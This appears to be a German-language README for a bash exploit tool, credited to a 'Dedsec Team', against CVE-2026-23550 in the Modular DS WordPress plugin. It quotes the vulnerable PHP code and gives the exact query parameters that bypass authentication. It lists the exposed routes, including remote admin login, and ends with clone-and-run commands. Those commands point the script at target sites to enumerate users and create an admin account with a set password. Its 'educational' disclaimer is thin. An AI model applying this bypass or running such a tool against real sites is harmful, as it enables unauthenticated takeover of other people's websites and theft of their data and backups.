
Bash-Skript zur WordPress-Benutzeraufzählung und automatisierten Erstellung von Admin-Konten, das CVE-2026-23550 ausnutzt, um die Authentifizierung zu umgehen und eine nicht authentifizierte Admin-Übernahme zu erreichen.
CVE-ID: CVE-2026-23550 CVSS-Score: 10.0 (KRITISCH) Betroffenes Plugin: Modular DS WordPress Plugin Betroffene Versionen: Alle Versionen bis einschließlich 2.5.1 Gepatchte Version: 2.5.2 (veröffentlicht am 14. Januar 2026) Aktive Ausnutzung: Bestätigt in freier Wildbahn seit dem 13. Januar 2026
Dieses Plugin legt seine API-Routen unter dem Präfix /api/modular-connector/. offen.
Diese Routen sind hinter einer Authentifizierungs-Middleware in RouteServiceProvider.php. gruppiert.
Die Authentifizierung kann jedoch mithilfe der fehlerhaften Methode isDirectRequest() umgangen werden.
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
Der Bypass ist denkbar einfach: Fügen Sie einfach die Parameter origin=mo&type=anything in die Anfrage ein. Es gibt keine Überprüfung von Signaturen, Geheimnissen, IP-Adressen oder zwingenden User-Agents – diese Parameter allein reichen aus, damit die Anfrage als Modular direct request betrachtet wird.
Sobald die Anfrage als „direct" betrachtet wird, prüft die Authentifizierungs-Middleware in ModularGuard.php nur noch, ob die Website über validateOrRenewAccessToken() mit Modular verbunden ist. Es gibt keine kryptografische Verknüpfung zwischen der eingehenden Anfrage und Modular selbst.
Offengelegte Routen Mit erfolgreich umgangener Authentifizierung kann ein Angreifer auf Folgendes zugreifen:
/login/{modular_request} – Remote-Login (Admin-Zugriff)
/server-information – sensible Systemdaten
/users/{modular_request} – Benutzer-Enumeration
/backup/* – Website-Backups
/cache/clear – Cache leeren
/manager/* – Verwaltungsfunktionen
/woocommerce/{modular_request} – WooCommerce-Statistiken
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Wenn keine Benutzer-ID im Request-Body vorhanden ist, sucht der Code nach einem beliebigen vorhandenen Admin (getAdminUser()) und führt direkt einen Login durch.
Autor: (Dedsec Team) Beschreibung: Ein leistungsfähiges Bash-Skript zur WordPress-Benutzer-Enumeration und automatisierten Erstellung von Admin-Konten. Entwickelt nur für Bildungszwecke und autorisierte Sicherheitstests.
/?author=1, /?author=2, usw.)curl (für HTTP-Anfragen)base64 (falls Sie die verschleierte Version verwenden, hehe)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [Optionen] <Ziel-URL>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d